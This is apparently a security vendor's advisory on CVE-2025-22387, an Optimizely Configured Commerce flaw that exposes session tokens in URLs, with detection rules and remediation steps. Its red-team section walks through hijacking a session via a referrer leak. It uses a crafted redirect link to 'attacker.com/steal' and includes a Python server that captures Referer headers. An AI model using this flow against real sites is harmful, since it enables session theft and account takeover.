CVE-2025-22387

Executive Summary

CVE-2025-22387 is a medium-severity information disclosure vulnerability in Optimizely Configured Commerce, affecting versions prior to 5.2.2408. The flaw arises when the application inadvertently includes the session token as a URL parameter in resource requests. This practice exposes the authenticated session identifier in server logs, browser history, referrer headers, and network traffic, enabling an attacker to perform session hijacking. The vulnerability is classified under CWE-598 (Information Exposure Through Query Strings in GET Request). No public proof-of-concept or exploit code is currently available, and the EPSS score is 0.0%, indicating low exploitation activity. The vendor has released a fix in version 5.2.2408.

Supply Chain & Package Security

This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). It affects a proprietary enterprise e-commerce platform. Organizations should verify their software supply chain by ensuring that only patched versions of Optimizely Configured Commerce are deployed.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0 in the NVD data, which likely indicates that a full vector has not been assigned. Based on the description, a reasonable assessment would be:

• Attack Vector (AV): Network (N) – The attacker can trigger the exposure remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – The attacker does not need prior authentication.
• User Interaction (UI): Required (R) – The victim must click a link or load a resource.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Session tokens are exposed.
• Integrity (I): High (H) – Session hijacking can lead to data modification.
• Availability (A): None (N) – No direct impact on availability.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
Estimated Base Score: 8.1 (High)

Threat Level: High – Session hijacking can lead to full account takeover and lateral movement within the application.

Deep Dive & Mechanics

The vulnerability stems from the application’s use of URL parameters to transmit session tokens. In a typical secure implementation, session tokens should be transmitted via HTTP-only cookies or secure headers. When a token is placed in the URL, it becomes visible in:

• Browser History: The token persists in the user’s browsing history.
• Server Logs: Web servers log the full URL, including the token.
• Referrer Headers: When navigating to external sites, the referrer header may leak the token.
• Network Traffic: If not using HTTPS, the token is transmitted in plaintext.

An attacker can exploit this by:

1. Log Analysis: Gaining access to server logs (e.g., via a separate vulnerability or misconfiguration).
2. Referrer Leak: Tricking the victim into clicking a link to an attacker-controlled site, which receives the referrer header containing the token.
3. Man-in-the-Middle (MitM): Intercepting unencrypted traffic to capture the token.
4. Social Engineering: Sending a crafted URL that includes the token, then observing the victim’s session.

Once the token is obtained, the attacker can impersonate the victim by injecting the token into their own browser (e.g., via cookie editing or URL manipulation).

Vulnerable vs. Patched Code

Vulnerable Code (Pre-5.2.2408): The application constructs resource URLs that include the session token as a query parameter. Example:

// Vulnerable: session token in URL
let resourceUrl = `/api/data?sessionToken=${getSessionToken()}`;
fetch(resourceUrl).then(response => { ... });

Patched Code (5.2.2408+): The session token is moved to an HTTP header or a secure cookie. Example:

// Patched: session token in header
let resourceUrl = `/api/data`;
fetch(resourceUrl, {
    headers: {
        'Authorization': `Bearer ${getSessionToken()}`
    }
}).then(response => { ... });

The patch ensures that the session token is never exposed in the URL, mitigating the risk of leakage through logs, referrers, and browser history.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Objective: Demonstrate session hijacking via referrer leakage.

Lab Setup:

1. Deploy a vulnerable instance of Optimizely Configured Commerce (version < 5.2.2408).
2. Set up an attacker-controlled web server to capture referrer headers.
3. Craft a phishing email or link that points to a resource on the vulnerable site, but with an external redirect to the attacker’s server.

Exploitation Steps:

1. Victim logs into the vulnerable application.
2. Victim clicks a crafted link: https://vulnerable-site.com/resource?redirect=https://attacker.com/steal.
3. The vulnerable site processes the request and includes the session token in the URL of a subsequent resource request.
4. The browser sends a request to attacker.com/steal with the referrer header containing the full URL (including the session token).
5. Attacker extracts the token from the referrer header.
6. Attacker uses the token to impersonate the victim by setting it in their own browser (e.g., via document.cookie or browser developer tools).

Proof-of-Concept (No public exploit available):

# Simple Python script to capture referrer headers (attacker server)
from http.server import BaseHTTPRequestHandler, HTTPServer

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        referer = self.headers.get('Referer')
        if referer:
            print(f"Captured Referer: {referer}")
        self.send_response(200)
        self.end_headers()
        self.wfile.write(b"Logged")

HTTPServer(('0.0.0.0', 8080), Handler).serve_forever()

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor server logs for URLs containing sessionToken or similar parameters.
2. Implement referrer policy headers (e.g., Referrer-Policy: no-referrer).
3. Use Web Application Firewall (WAF) rules to block requests with session tokens in query strings.
4. Enforce HTTPS to prevent MitM attacks.
5. Conduct regular code reviews to ensure session tokens are not exposed in URLs.

Hunting Query (Splunk):

index=web_logs uri=*sessionToken* | table _time, client_ip, uri, user_agent

Indicators of Compromise (IOCs)

• Network IOCs:
  • URLs containing sessionToken, token, sid, or similar parameters in query strings.
  • Referrer headers from the vulnerable domain pointing to external, unknown domains.
• Log IOCs:
  • Server logs showing repeated requests with session tokens in URLs from the same IP.
  • Unusual patterns of session reuse (e.g., same token from different IPs).
• File IOCs:
  • Browser history entries containing session tokens.
  • Temporary internet files with URLs containing tokens.

Detection Engineering

YARA Rule

rule CVE_2025_22387_Session_Token_In_URL {
    meta:
        description = "Detects session tokens in URL query strings"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-22387"
    strings:
        $token_param = /[?&](sessionToken|token|sid|jsessionid)=[a-zA-Z0-9]+/ nocase
    condition:
        $token_param
}

Sigma Rule

title: Session Token in URL Query String
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP requests containing session tokens in the URL query string
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: generic
detection:
    selection:
        cs-uri-query|contains: 
            - 'sessionToken='
            - 'token='
            - 'sid='
            - 'jsessionid='
    condition: selection
falsepositives:
    - Legitimate use of tokens in URLs (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-22387 - Session Token in URL"; flow:to_server,established; content:"sessionToken="; http_uri; nocase; sid:2025041001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Update Optimizely Configured Commerce to version 5.2.2408 or later.
2. Workaround: If immediate upgrade is not possible, implement a reverse proxy or WAF rule to strip session tokens from URLs.
3. Referrer Policy: Set the Referrer-Policy header to no-referrer or same-origin to prevent leakage.
4. HTTPS Enforcement: Ensure all traffic uses HTTPS to prevent MitM attacks.

Long-Term Measures:

• Conduct a security audit of all resource requests to ensure session tokens are never transmitted via URL parameters.
• Implement Content Security Policy (CSP) headers to restrict resource loading.
• Use HTTP-only, Secure, SameSite cookies for session management.
• Train developers on secure coding practices (OWASP ASVS).

Patch Details: Upgrade to Optimizely Configured Commerce version 5.2.2408 or later. The vendor has addressed the issue by moving session tokens to secure headers.

Valters IT
Securing Digital Frontiers